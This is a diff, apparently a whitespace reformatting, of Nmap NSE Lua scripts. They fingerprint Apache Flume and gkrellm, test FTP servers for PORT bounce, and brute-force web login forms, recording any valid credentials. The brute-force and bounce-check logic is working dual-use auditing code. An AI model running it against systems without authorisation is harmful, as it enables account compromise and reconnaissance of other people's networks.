stdnse.print_debug(2, ("%s: %s (%s) %s"):format(SCRIPT_NAME,physical,logical,hostname))
if (table_count(nodes, hostname) == 0) then
nodes[#nodes+1] = hostname
add_target(hostname)
end
end
if next(nodes) ~= nil then
table.insert(result, "Flume nodes:")
result[#result+1] = nodes
end
for zookeeper in string.gmatch(body,"Dhbase.zookeeper.quorum=([^][\"]+)") do
if (table_count(zookeepers, zookeeper) == 0) then
zookeepers[#zookeepers+1] = zookeeper
add_target(zookeeper)
end
end
if next(zookeepers) ~= nil then
result[#result+1] = "Zookeeper Master:"
result[#result+1] = zookeepers
end
for hbasemaster in string.gmatch(body,"Dhbase.rootdir=([^][\"]+)") do
if (table_count(hbasemasters, hbasemaster) == 0) then
hbasemasters[#hbasemasters+1] = hbasemaster
add_target(hbasemaster)
end
end
if next(hbasemasters) ~= nil then
result[#result+1] = "Hbase Master Master:"
result[#result+1] = hbasemasters
end
local vars = parse_page(host, port, env_uri, env_keys )
if next(vars) ~= nil then
result[#result+1] = "Enviroment: "
result[#result+1] = vars
end
local vars = parse_page(host, port, config_uri, config_keys )
if next(vars) ~= nil then
result[#result+1] = "Config: "
result[#result+1] = vars
end
if #result > 0 then
port.version.name = "flume-master"
port.version.product = "Apache Flume"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, result)
end
local result = {}
local uri = "/flumemaster.jsp"
local env_uri = "/masterenv.jsp"
local config_uri = "/masterstaticconfig.jsp"
local env_keys = {"java.runtime","java.version","java.vm.name","java.vm.vendor","java.vm.version","os","user.name","user.country","user.language,user.timezone"}
local config_keys = {"dfs.datanode.address","dfs.datanode.http.address","dfs.datanode.https.address","dfs.datanode.ipc.address","dfs.http.address","dfs.https.address","dfs.secondary.http.address","flume.collector.dfs.dir","flume.collector.event.host","flume.master.servers","fs.default.name","mapred.job.tracker","mapred.job.tracker.http.address","mapred.task.tracker.http.address","mapred.task.tracker.report.address"}
local nodes = { }
local zookeepers = { }
local hbasemasters = { }
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
local capacity = {}
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("Version:%s*</b>([^][,]+)") then
local version = body:match("Version:%s*</b>([^][,]+)")
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
result[#result+1] = ("Version: %s"):format(version)
port.version.version = version
end
if body:match("Compiled:%s*</b>([^][<]+)") then
local compiled = body:match("Compiled:%s*</b>([^][<]+)")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
result[#result+1] = ("Compiled: %s"):format(compiled)
end
if body:match("ServerID:%s*([^][<]+)") then
local upgrades = body:match("ServerID:%s*([^][<]+)")
stdnse.print_debug(1, ("%s: ServerID %s"):format(SCRIPT_NAME,upgrades))
result[#result] = ("ServerID: %s"):format(upgrades)
end
for logical,physical,hostname in string.gmatch(body,"<tr><td>([%w%.-_:]+)</td><td>([%w%.]+)</td><td>([%w%.]+)</td>") do
stdnse.print_debug(2, ("%s: %s (%s) %s"):format(SCRIPT_NAME,physical,logical,hostname))
if (table_count(nodes, hostname) == 0) then
nodes[#nodes+1] = hostname
add_target(hostname)
end
end
if next(nodes) ~= nil then
table.insert(result, "Flume nodes:")
result[#result+1] = nodes
end
for zookeeper in string.gmatch(body,"Dhbase.zookeeper.quorum=([^][\"]+)") do
if (table_count(zookeepers, zookeeper) == 0) then
zookeepers[#zookeepers+1] = zookeeper
add_target(zookeeper)
end
end
if next(zookeepers) ~= nil then
result[#result+1] = "Zookeeper Master:"
result[#result+1] = zookeepers
end
for hbasemaster in string.gmatch(body,"Dhbase.rootdir=([^][\"]+)") do
if (table_count(hbasemasters, hbasemaster) == 0) then
hbasemasters[#hbasemasters+1] = hbasemaster
add_target(hbasemaster)
end
end
if next(hbasemasters) ~= nil then
result[#result+1] = "Hbase Master Master:"
result[#result+1] = hbasemasters
end
local vars = parse_page(host, port, env_uri, env_keys )
if next(vars) ~= nil then
result[#result+1] = "Enviroment: "
result[#result+1] = vars
end
local vars = parse_page(host, port, config_uri, config_keys )
if next(vars) ~= nil then
result[#result+1] = "Config: "
result[#result+1] = vars
end
if #result > 0 then
port.version.name = "flume-master"
port.version.product = "Apache Flume"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, result)
end
end

View File

@@ -34,191 +34,191 @@ categories = {"default", "safe"}
portrule = shortport.service("ftp")
line_iterate = function(s)
local line
for line in string.gmatch(s, "([^\n$]*)") do
if #line > 0 then
coroutine.yield(line)
end
end
local line
for line in string.gmatch(s, "([^\n$]*)") do
if #line > 0 then
coroutine.yield(line)
end
end
end
-- returns last ftp code read, or 000 on timeout
get_ftp_code = function(socket)
local fcode = 000
local code = 0
local status
local result
local co
local line
local err
local fcode = 000
local code = 0
local status
local result
local co
local line
local err
while true do
status, result = socket:receive()
if not status then
break
end
-- read okay!
co = coroutine.create(line_iterate)
while coroutine.status(co) ~= 'dead' do
err, line = coroutine.resume(co, result)
if line then
code = string.match(line, "^(%d%d%d) ")
if not code then
code = "-1"
end
-- io.write(">" .. code .. ":".. line .. "<\n")
if tonumber(code) > 0 then
fcode = tonumber(code)
end
end
end
-- not received good ftp code, try again
if fcode ~= 0 then
break
end
end
-- io.write("## " .. fcode .. "\n");
return fcode
while true do
status, result = socket:receive()
if not status then
break
end
-- read okay!
co = coroutine.create(line_iterate)
while coroutine.status(co) ~= 'dead' do
err, line = coroutine.resume(co, result)
if line then
code = string.match(line, "^(%d%d%d) ")
if not code then
code = "-1"
end
-- io.write(">" .. code .. ":".. line .. "<\n")
if tonumber(code) > 0 then
fcode = tonumber(code)
end
end
end
-- not received good ftp code, try again
if fcode ~= 0 then
break
end
end
-- io.write("## " .. fcode .. "\n");
return fcode
end
local get_login = function()
local user, pass
local k
local user, pass
local k
for _, k in ipairs({"ftp-bounce.username", "username"}) do
if nmap.registry.args[k] then
user = nmap.registry.args[k]
break
end
end
for _, k in ipairs({"ftp-bounce.username", "username"}) do
if nmap.registry.args[k] then
user = nmap.registry.args[k]
break
end
end
for _, k in ipairs({"ftp-bounce.password", "password"}) do
if nmap.registry.args[k] then
pass = nmap.registry.args[k]
break
end
end
for _, k in ipairs({"ftp-bounce.password", "password"}) do
if nmap.registry.args[k] then
pass = nmap.registry.args[k]
break
end
end
return user or "anonymous", pass or "IEUser@"
return user or "anonymous", pass or "IEUser@"
end
action = function(host, port)
local socket = nmap.new_socket()
local result;
local status = true
local isAnon = false
local isOk = false
local sendPass = true
local user, pass = get_login()
local fc
local socket = nmap.new_socket()
local result;
local status = true
local isAnon = false
local isOk = false
local sendPass = true
local user, pass = get_login()
local fc
socket:set_timeout(10000)
socket:connect(host, port)
socket:set_timeout(10000)
socket:connect(host, port)
-- BANNER
fc = get_ftp_code(socket)
if fc == 0 then
socket:close()
-- no banner
return "no banner"
end
if fc == 421 or (fc >= 500 and fc <= 599) then
socket:close()
-- return "server says you are not allowed to create connection"
return
end
if fc < 200 or fc > 299 then
socket:close()
-- bad code
-- return "bad banner (code " .. fc .. ")"
return
end
-- BANNER
fc = get_ftp_code(socket)
if fc == 0 then
socket:close()
-- no banner
return "no banner"
end
if fc == 421 or (fc >= 500 and fc <= 599) then
socket:close()
-- return "server says you are not allowed to create connection"
return
end
if fc < 200 or fc > 299 then
socket:close()
-- bad code
-- return "bad banner (code " .. fc .. ")"
return
end
socket:set_timeout(5000)
-- USER
socket:send("USER " .. user .. "\r\n")
fc = get_ftp_code(socket)
if (fc >= 400 and fc <= 499) or (fc >= 500 and fc <= 599) then
socket:close()
-- bad code
--return "anonymous user not allowed"
return
end
if fc == 0 then
socket:close()
-- return "anonymous user timeouted"
return
end
if fc ~= 230 and fc ~= 331 then
socket:close()
-- bad code
-- return "bad response for anonymous user (code " .. fc .. ")"
return
end
if fc == 230 then
sendPass = false
end
socket:set_timeout(5000)
-- USER
socket:send("USER " .. user .. "\r\n")
fc = get_ftp_code(socket)
if (fc >= 400 and fc <= 499) or (fc >= 500 and fc <= 599) then
socket:close()
-- bad code
--return "anonymous user not allowed"
return
end
if fc == 0 then
socket:close()
-- return "anonymous user timeouted"
return
end
if fc ~= 230 and fc ~= 331 then
socket:close()
-- bad code
-- return "bad response for anonymous user (code " .. fc .. ")"
return
end
if fc == 230 then
sendPass = false
end
-- PASS
if sendPass then
socket:send("PASS " .. pass .. "\r\n")
fc = get_ftp_code(socket)
if (fc >= 500 and fc <= 599) or (fc >= 400 and fc <= 499) then
socket:close()
-- bad code
-- return "anonymous user/pass rejected"
return
end
if fc == 0 then
socket:close()
-- return "anonymous pass timeouted"
return
end
if fc ~= 230 and fc ~= 200 then
socket:close()
-- return "answer to PASS not understood (code " .. fc .. ")"
return
end
end
-- PASS
if sendPass then
socket:send("PASS " .. pass .. "\r\n")
fc = get_ftp_code(socket)
if (fc >= 500 and fc <= 599) or (fc >= 400 and fc <= 499) then
socket:close()
-- bad code
-- return "anonymous user/pass rejected"
return
end
if fc == 0 then
socket:close()
-- return "anonymous pass timeouted"
return
end
if fc ~= 230 and fc ~= 200 then
socket:close()
-- return "answer to PASS not understood (code " .. fc .. ")"
return
end
end
-- PORT scanme.nmap.com:highport
socket:send("PORT 205,217,153,62,80,80\r\n")
fc = get_ftp_code(socket)
if (fc >= 500 and fc <= 599) then
socket:close()
-- return "server forbids bouncing"
return
end
if fc == 0 then
socket:close()
-- return "PORT command timeouted"
return
end
if not (fc >= 200 and fc<=299) then
socket:close()
-- return "PORT response not understood (code " .. fc .. ")"
return
end
-- PORT scanme.nmap.com:highport
socket:send("PORT 205,217,153,62,80,80\r\n")
fc = get_ftp_code(socket)
if (fc >= 500 and fc <= 599) then
socket:close()
-- return "server forbids bouncing"
return
end
if fc == 0 then
socket:close()
-- return "PORT command timeouted"
return
end
if not (fc >= 200 and fc<=299) then
socket:close()
-- return "PORT response not understood (code " .. fc .. ")"
return
end
-- PORT scanme.nmap.com:lowport
socket:send("PORT 205,217,153,62,0,80\r\n")
fc = get_ftp_code(socket)
if (fc >= 500 and fc <= 599) then
socket:close()
return "server forbids bouncing to low ports <1025"
end
if fc == 0 then
socket:close()
-- return "PORT command timeouted for low port"
return
end
if not (fc >= 200 and fc<=299) then
socket:close()
-- return "PORT response not understood for low port (code " .. fc .. ")"
return
end
-- PORT scanme.nmap.com:lowport
socket:send("PORT 205,217,153,62,0,80\r\n")
fc = get_ftp_code(socket)
if (fc >= 500 and fc <= 599) then
socket:close()
return "server forbids bouncing to low ports <1025"
end
if fc == 0 then
socket:close()
-- return "PORT command timeouted for low port"
return
end
if not (fc >= 200 and fc<=299) then
socket:close()
-- return "PORT response not understood for low port (code " .. fc .. ")"
return
end
socket:close()
return "bounce working!"
socket:close()
return "bounce working!"
end

View File

@@ -55,167 +55,167 @@ portrule = shortport.port_or_service(19150, "gkrellm", "tcp")
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local long_names = {
["fs_mounts"] = "Mounts",
["net"] = "Network",
["hostname"] = "Hostname",
["sysname"] = "System",
["version"] = "Version",
["uptime"] = "Uptime",
["mem"] = "Memory",
["proc"] = "Processes",
["fs_mounts"] = "Mounts",
["net"] = "Network",
["hostname"] = "Hostname",
["sysname"] = "System",
["version"] = "Version",
["uptime"] = "Uptime",
["mem"] = "Memory",
["proc"] = "Processes",
}
local order = {
"Hostname", "System", "Version", "Uptime", "Processes", "Memory", "Network", "Mounts"
"Hostname", "System", "Version", "Uptime", "Processes", "Memory", "Network", "Mounts"
}
local function getOrderPos(tag)
for i=1, #order do
if ( tag.name == order[i] ) then
return i
elseif ( "string" == type(tag) and tag:match("^([^:]*)") == order[i] ) then
return i
end
end
return 1
for i=1, #order do
if ( tag.name == order[i] ) then
return i
elseif ( "string" == type(tag) and tag:match("^([^:]*)") == order[i] ) then
return i
end
end
return 1
end
local function minutesToUptime(value)
local days = math.floor(value / (60 * 24))
local htime = math.fmod(value, (60 * 24))
local hours = math.floor(htime / 60)
local mtime = math.fmod(htime, 60)
local minutes = math.floor(mtime)
local output = ""
if ( days > 0 ) then
output = output .. ("%d days, "):format(days)
end
if ( hours > 0 ) then
output = output .. ("%d hours, "):format(hours)
end
if ( minutes > 0 ) then
output = output .. ("%d minutes"):format(minutes)
end
return output
local days = math.floor(value / (60 * 24))
local htime = math.fmod(value, (60 * 24))
local hours = math.floor(htime / 60)
local mtime = math.fmod(htime, 60)
local minutes = math.floor(mtime)
local output = ""
if ( days > 0 ) then
output = output .. ("%d days, "):format(days)
end
if ( hours > 0 ) then
output = output .. ("%d hours, "):format(hours)
end
if ( minutes > 0 ) then
output = output .. ("%d minutes"):format(minutes)
end
return output
end
local function decodeTag(tag, lines)
local result = { name = long_names[tag] }
local order
local result = { name = long_names[tag] }
local order
if ( "fs_mounts" == tag ) then
local fs_tab = tab.new(4)
tab.addrow(fs_tab, "Mount point", "Fs type", "Size", "Available")
for _, line in ipairs(lines) do
if ( ".clear" ~= line ) then
local mount, prefix, fstype, size, free, used, bs = table.unpack(stdnse.strsplit("%s", line))
if ( size and free and mount and fstype ) then
size = ("%dM"):format(math.ceil(tonumber(size) * tonumber(bs) / 1048576))
free = ("%dM"):format(math.ceil(tonumber(free) * tonumber(bs) / 1048576))
tab.addrow(fs_tab, mount, fstype, size, free)
end
end
end
table.insert(result, tab.dump(fs_tab))
elseif ( "net" == tag ) then
local net_tab = tab.new(3)
tab.addrow(net_tab, "Interface", "Received", "Transmitted")
for _, line in ipairs(lines) do
local name, rx, tx = line:match("^([^%s]*)%s([^%s]*)%s([^%s]*)$")
rx = ("%dM"):format(math.ceil(tonumber(rx) / 1048576))
tx = ("%dM"):format(math.ceil(tonumber(tx) / 1048576))
tab.addrow(net_tab, name, rx, tx)
end
table.insert(result, tab.dump(net_tab))
elseif ( "hostname" == tag or "sysname" == tag or
"version" == tag ) then
return ("%s: %s"):format(long_names[tag], lines[1])
elseif ( "uptime" == tag ) then
return ("%s: %s"):format(long_names[tag], minutesToUptime(lines[1]))
elseif ( "mem" == tag ) then
local total, used = table.unpack(stdnse.strsplit("%s", lines[1]))
if ( not(total) or not(used) ) then
return
end
local free = math.ceil((total - used)/1048576)
total = math.ceil(tonumber(total)/1048576)
return ("%s: Total %dM, Free %dM"):format(long_names[tag], total, free)
elseif ( "proc" == tag ) then
local procs, _, forks, load, users = table.unpack(stdnse.strsplit("%s", lines[1]))
if ( not(procs) or not(forks) or not(load) or not(users) ) then
return
end
return ("%s: Processes %d, Load %.2f, Users %d"):format(long_names[tag], procs, load, users)
end
return ( #result > 0 and result or nil )
if ( "fs_mounts" == tag ) then
local fs_tab = tab.new(4)
tab.addrow(fs_tab, "Mount point", "Fs type", "Size", "Available")
for _, line in ipairs(lines) do
if ( ".clear" ~= line ) then
local mount, prefix, fstype, size, free, used, bs = table.unpack(stdnse.strsplit("%s", line))
if ( size and free and mount and fstype ) then
size = ("%dM"):format(math.ceil(tonumber(size) * tonumber(bs) / 1048576))
free = ("%dM"):format(math.ceil(tonumber(free) * tonumber(bs) / 1048576))
tab.addrow(fs_tab, mount, fstype, size, free)
end
end
end
table.insert(result, tab.dump(fs_tab))
elseif ( "net" == tag ) then
local net_tab = tab.new(3)
tab.addrow(net_tab, "Interface", "Received", "Transmitted")
for _, line in ipairs(lines) do
local name, rx, tx = line:match("^([^%s]*)%s([^%s]*)%s([^%s]*)$")
rx = ("%dM"):format(math.ceil(tonumber(rx) / 1048576))
tx = ("%dM"):format(math.ceil(tonumber(tx) / 1048576))
tab.addrow(net_tab, name, rx, tx)
end
table.insert(result, tab.dump(net_tab))
elseif ( "hostname" == tag or "sysname" == tag or
"version" == tag ) then
return ("%s: %s"):format(long_names[tag], lines[1])
elseif ( "uptime" == tag ) then
return ("%s: %s"):format(long_names[tag], minutesToUptime(lines[1]))
elseif ( "mem" == tag ) then
local total, used = table.unpack(stdnse.strsplit("%s", lines[1]))
if ( not(total) or not(used) ) then
return
end
local free = math.ceil((total - used)/1048576)
total = math.ceil(tonumber(total)/1048576)
return ("%s: Total %dM, Free %dM"):format(long_names[tag], total, free)
elseif ( "proc" == tag ) then
local procs, _, forks, load, users = table.unpack(stdnse.strsplit("%s", lines[1]))
if ( not(procs) or not(forks) or not(load) or not(users) ) then
return
end
return ("%s: Processes %d, Load %.2f, Users %d"):format(long_names[tag], procs, load, users)
end
return ( #result > 0 and result or nil )
end
action = function(host, port)
local socket = nmap.new_socket()
socket:set_timeout(5000)
local socket = nmap.new_socket()
socket:set_timeout(5000)
if ( not(socket:connect(host, port)) ) then
return fail("Failed to connect to the server")
end
if ( not(socket:connect(host, port)) ) then
return fail("Failed to connect to the server")
end
-- If there's an error we get a response back, and only then
local status, data = socket:receive_buf("\n", false)
if( status and data ~= "<error>" ) then
return fail("An unknown error occured, aborting ...")
elseif ( status ) then
status, data = socket:receive_buf("\n", false)
if ( status ) then
return fail(data)
else
return fail("Failed to receive error message from server")
end
end
-- If there's an error we get a response back, and only then
local status, data = socket:receive_buf("\n", false)
if( status and data ~= "<error>" ) then
return fail("An unknown error occured, aborting ...")
elseif ( status ) then
status, data = socket:receive_buf("\n", false)
if ( status ) then
return fail(data)
else
return fail("Failed to receive error message from server")
end
end
if ( not(socket:send("gkrellm 2.3.4\n")) ) then
return fail("Failed to send data to the server")
end
if ( not(socket:send("gkrellm 2.3.4\n")) ) then
return fail("Failed to send data to the server")
end
local tags = {}
local status, tag = socket:receive_buf("\n", false)
while(true) do
if ( not(status) ) then
break
end
if ( not(tag:match("^<.*>$")) ) then
stdnse.print_debug(2, "Expected tag, got: %s", tag)
break
else
tag = tag:match("^<(.*)>$")
end
local tags = {}
local status, tag = socket:receive_buf("\n", false)
while(true) do
if ( not(status) ) then
break
end
if ( not(tag:match("^<.*>$")) ) then
stdnse.print_debug(2, "Expected tag, got: %s", tag)
break
else
tag = tag:match("^<(.*)>$")
end
if ( tags[tag] ) then
break
end
if ( tags[tag] ) then
break
end
while(true) do
local data
status, data = socket:receive_buf("\n", false)
if ( not(status) ) then
break
end
if ( status and data:match("^<.*>$") ) then
tag = data
break
end
tags[tag] = tags[tag] or {}
table.insert(tags[tag], data)
end
end
socket:close()
while(true) do
local data
status, data = socket:receive_buf("\n", false)
if ( not(status) ) then
break
end
if ( status and data:match("^<.*>$") ) then
tag = data
break
end
tags[tag] = tags[tag] or {}
table.insert(tags[tag], data)
end
end
socket:close()
local output = {}
for tag in pairs(tags) do
local result, order = decodeTag(tag, tags[tag])
if ( result ) then
table.insert(output, result)
end
end
local output = {}
for tag in pairs(tags) do
local result, order = decodeTag(tag, tags[tag])
if ( result ) then
table.insert(output, result)
end
end
table.sort(output, function(a,b) return getOrderPos(a) < getOrderPos(b) end)
return stdnse.format_output(true, output)
table.sort(output, function(a,b) return getOrderPos(a) < getOrderPos(b) end)
return stdnse.format_output(true, output)
end

View File

@@ -27,16 +27,16 @@ Performs brute force password auditing against http form-based authentication.
-- analyzes the response and attempt to determine whether authentication was
-- successful or not. The script analyzes this by checking the response using
-- the following rules:
-- 1. If the response was empty the authentication was successful
-- 2. If the response contains the message passed in the onsuccess
-- argument the authentication was successful
-- 3. If no onsuccess argument was passed, and if the response
-- does not contain the message passed in the onfailure argument the
-- authentication was successful
-- 4. If neither the onsuccess or onfailure argument was passed and the
-- response does not contain a password form field authentication
-- was successful
-- 5. Authentication failed
-- 1. If the response was empty the authentication was successful
-- 2. If the response contains the message passed in the onsuccess
-- argument the authentication was successful
-- 3. If no onsuccess argument was passed, and if the response
-- does not contain the message passed in the onfailure argument the
-- authentication was successful
-- 4. If neither the onsuccess or onfailure argument was passed and the
-- response does not contain a password form field authentication
-- was successful
-- 5. Authentication failed
--
-- @output
-- PORT STATE SERVICE REASON
@@ -59,19 +59,19 @@ Performs brute force password auditing against http form-based authentication.
-- holds the username used to authenticate. A simple autodetection of
-- this variable is attempted.
-- @args http-form-brute.passvar sets the http-variable name that holds the
-- password used to authenticate. A simple autodetection of this variable
-- password used to authenticate. A simple autodetection of this variable
-- is attempted.
-- @args http-form-brute.onsuccess (optional) sets the message to expect on
-- successful authentication
-- successful authentication
-- @args http-form-brute.onfailure (optional) sets the message to expect on
-- unsuccessful authentication
-- unsuccessful authentication
--
-- Version 0.3
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 05/23/2011 - v0.2 - changed so that uservar is optional
-- Revised 06/05/2011 - v0.3 - major re-write, added onsucces, onfailure and
-- support for redirects
-- support for redirects
--
author = "Patrik Karlsson"
@@ -85,166 +85,166 @@ local form_params = {}
Driver = {
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = nmap.registry.args['http-form-brute.hostname'] or host
o.port = port
o.options = options
return o
end,
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = nmap.registry.args['http-form-brute.hostname'] or host
o.port = port
o.options = options
return o
end,
connect = function( self )
-- This will cause problems, as ther is no way for us to "reserve"
-- a socket. We may end up here early with a set of credentials
-- which won't be guessed until the end, due to socket exhaustion.
return true
end,
connect = function( self )
-- This will cause problems, as ther is no way for us to "reserve"
-- a socket. We may end up here early with a set of credentials
-- which won't be guessed until the end, due to socket exhaustion.
return true
end,
login = function( self, username, password )
-- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successfull
local postparams = { [self.options.passvar] = password }
if ( self.options.uservar ) then postparams[self.options.uservar] = username end
login = function( self, username, password )
-- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successfull
local postparams = { [self.options.passvar] = password }
if ( self.options.uservar ) then postparams[self.options.uservar] = username end
local response = Driver.postRequest(self.host, self.port, self.options.path, postparams)
local success = false
local response = Driver.postRequest(self.host, self.port, self.options.path, postparams)
local success = false
-- if we have no response, we were successful
if ( not(response.body) ) then
success = true
-- if we have a response and it matches our onsuccess match, login was successful
elseif ( response.body and
self.options.onsuccess and
response.body:match(self.options.onsuccess) ) then
success = true
-- if we have a response and it does not match our onfailure, login was successful
elseif ( response.body and
not(self.options.onsuccess) and
self.options.onfailure and
not(response.body:match(self.options.onfailure))) then
success = true
-- if we have a response and no onfailure or onsuccess match defined
-- and can't find a password field, login was successful
elseif ( response.body and
not(self.options.onfailure) and
not(self.options.onsuccess) and
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*"))
) then
success = true
end
-- if we have no response, we were successful
if ( not(response.body) ) then
success = true
-- if we have a response and it matches our onsuccess match, login was successful
elseif ( response.body and
self.options.onsuccess and
response.body:match(self.options.onsuccess) ) then
success = true
-- if we have a response and it does not match our onfailure, login was successful
elseif ( response.body and
not(self.options.onsuccess) and
self.options.onfailure and
not(response.body:match(self.options.onfailure))) then
success = true
-- if we have a response and no onfailure or onsuccess match defined
-- and can't find a password field, login was successful
elseif ( response.body and
not(self.options.onfailure) and
not(self.options.onsuccess) and
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*"))
) then
success = true
end
-- We check whether the body was empty or that we have a body without our user- and pass-var
if ( success ) then
nmap.registry['credentials'] = nmap.registry['credentials'] or {}
nmap.registry.credentials['http'] = nmap.registry.credentials['http'] or {}
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
return true, brute.Account:new( username, password, creds.State.VALID)
end
-- We check whether the body was empty or that we have a body without our user- and pass-var
if ( success ) then
nmap.registry['credentials'] = nmap.registry['credentials'] or {}
nmap.registry.credentials['http'] = nmap.registry.credentials['http'] or {}
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
return true, brute.Account:new( username, password, creds.State.VALID)
end
return false, brute.Error:new( "Incorrect password" )
end,
return false, brute.Error:new( "Incorrect password" )
end,
disconnect = function( self )
return true
end,
disconnect = function( self )
return true
end,
check = function( self )
return true
end,
check = function( self )
return true
end,
postRequest = function( host, port, path, options )
local response = http.post( host, port, path, { no_cache = true }, nil, options )
local status = ( response and tonumber(response.status) ) or 0
if ( status > 300 and status < 400 ) then
local new_path = url.absolute(path, response.header.location)
response = http.get( host, port, new_path, { no_cache = true } )
end
return response
end,
postRequest = function( host, port, path, options )
local response = http.post( host, port, path, { no_cache = true }, nil, options )
local status = ( response and tonumber(response.status) ) or 0
if ( status > 300 and status < 400 ) then
local new_path = url.absolute(path, response.header.location)
response = http.get( host, port, new_path, { no_cache = true } )
end
return response
end,
}
--- Attempts to auto-detect known form-fields
--
local function detectFormFields( host, port, path )
local response = http.get( host, port, path )
local user_field, pass_field
local response = http.get( host, port, path )
local user_field, pass_field
if ( response.status == 200 ) then
user_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([^\"]-[Uu][Ss][Ee][Rr].-)[\"]*.->")
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([Pp][Aa][Ss][Ss].-)[\"]*.->")
if ( response.status == 200 ) then
user_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([^\"]-[Uu][Ss][Ee][Rr].-)[\"]*.->")
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([Pp][Aa][Ss][Ss].-)[\"]*.->")
if ( not(pass_field) ) then
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]-([^\"]-[Kk][Ee][Yy].-)[\"].->")
end
end
if ( not(pass_field) ) then
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]-([^\"]-[Kk][Ee][Yy].-)[\"].->")
end
end
return user_field, pass_field
return user_field, pass_field
end
action = function( host, port )
local uservar = stdnse.get_script_args('http-form-brute.uservar')
local passvar = stdnse.get_script_args('http-form-brute.passvar')
local path = stdnse.get_script_args('http-form-brute.path') or "/"
local onsuccess = stdnse.get_script_args("http-form-brute.onsuccess")
local onfailure = stdnse.get_script_args("http-form-brute.onfailure")
local uservar = stdnse.get_script_args('http-form-brute.uservar')
local passvar = stdnse.get_script_args('http-form-brute.passvar')
local path = stdnse.get_script_args('http-form-brute.path') or "/"
local onsuccess = stdnse.get_script_args("http-form-brute.onsuccess")
local onfailure = stdnse.get_script_args("http-form-brute.onfailure")
local _
local _
-- if now fields were given attempt to autodetect
if ( not(uservar) and not(passvar) ) then
uservar, passvar = detectFormFields( host, port, path )
-- if now passvar was detected attempt to autodetect
elseif ( not(passvar) ) then
_, passvar = detectFormFields( host, port, path )
end
-- if now fields were given attempt to autodetect
if ( not(uservar) and not(passvar) ) then
uservar, passvar = detectFormFields( host, port, path )
-- if now passvar was detected attempt to autodetect
elseif ( not(passvar) ) then
_, passvar = detectFormFields( host, port, path )
end
-- uservar is optional, so only make sure we have a passvar
if ( not( passvar ) ) then
return "\n ERROR: No passvar was specified (see http-form-brute.passvar)"
end
-- uservar is optional, so only make sure we have a passvar
if ( not( passvar ) ) then
return "\n ERROR: No passvar was specified (see http-form-brute.passvar)"
end
if ( not(path) ) then
return "\n ERROR: No path was specified (see http-form-brute.path)"
end
if ( not(path) ) then
return "\n ERROR: No path was specified (see http-form-brute.path)"
end
if ( onsuccess and onfailure ) then
return "\n ERROR: Either the onsuccess or onfailure argument should be passed, not both."
end
if ( onsuccess and onfailure ) then
return "\n ERROR: Either the onsuccess or onfailure argument should be passed, not both."
end
local options = { [passvar] = "this_is_not_a_valid_password" }
if ( uservar ) then options[uservar] = "this_is_not_a_valid_user" end
local options = { [passvar] = "this_is_not_a_valid_password" }
if ( uservar ) then options[uservar] = "this_is_not_a_valid_user" end
local response = Driver.postRequest( host, port, path, options )
if ( not(response) or not(response.body) or response.status ~= 200 ) then
return ("\n ERROR: Failed to retrieve path (%s) from server"):format(path)
end
local response = Driver.postRequest( host, port, path, options )
if ( not(response) or not(response.body) or response.status ~= 200 ) then
return ("\n ERROR: Failed to retrieve path (%s) from server"):format(path)
end
-- try to detect onfailure match
if ( onfailure and not(response.body:match(onfailure)) ) then
return ("\n ERROR: Failed to match password failure message (%s)"):format(onfailure)
elseif ( not(onfailure) and
not(onsuccess) and
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*")) ) then
return ("\n ERROR: Failed to detect password form field see (http-form-brute.onsuccess or http-form-brute.onfailure)")
end
-- try to detect onfailure match
if ( onfailure and not(response.body:match(onfailure)) ) then
return ("\n ERROR: Failed to match password failure message (%s)"):format(onfailure)
elseif ( not(onfailure) and
not(onsuccess) and
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*")) ) then
return ("\n ERROR: Failed to detect password form field see (http-form-brute.onsuccess or http-form-brute.onfailure)")
end
local engine = brute.Engine:new( Driver, host, port, {
uservar = uservar, passvar = passvar,
path = path, onsuccess = onsuccess, onfailure = onfailure
}
)
-- there's a bug in http.lua that does not allow it to be called by
-- multiple threads
engine:setMaxThreads(1)
engine.options.script_name = SCRIPT_NAME
local engine = brute.Engine:new( Driver, host, port, {
uservar = uservar, passvar = passvar,
path = path, onsuccess = onsuccess, onfailure = onfailure
}
)
-- there's a bug in http.lua that does not allow it to be called by
-- multiple threads
engine:setMaxThreads(1)
engine.options.script_name = SCRIPT_NAME
if ( not(uservar) ) then
engine.options:setOption( "passonly", true )
end
local status, result = engine:start()
if ( not(uservar) ) then
engine.options:setOption( "passonly", true )
end
local status, result = engine:start()
return result
return result
end

View File

@@ -43,170 +43,170 @@ portrule = shortport.http
---Enumeration for results
local enum_results =
{
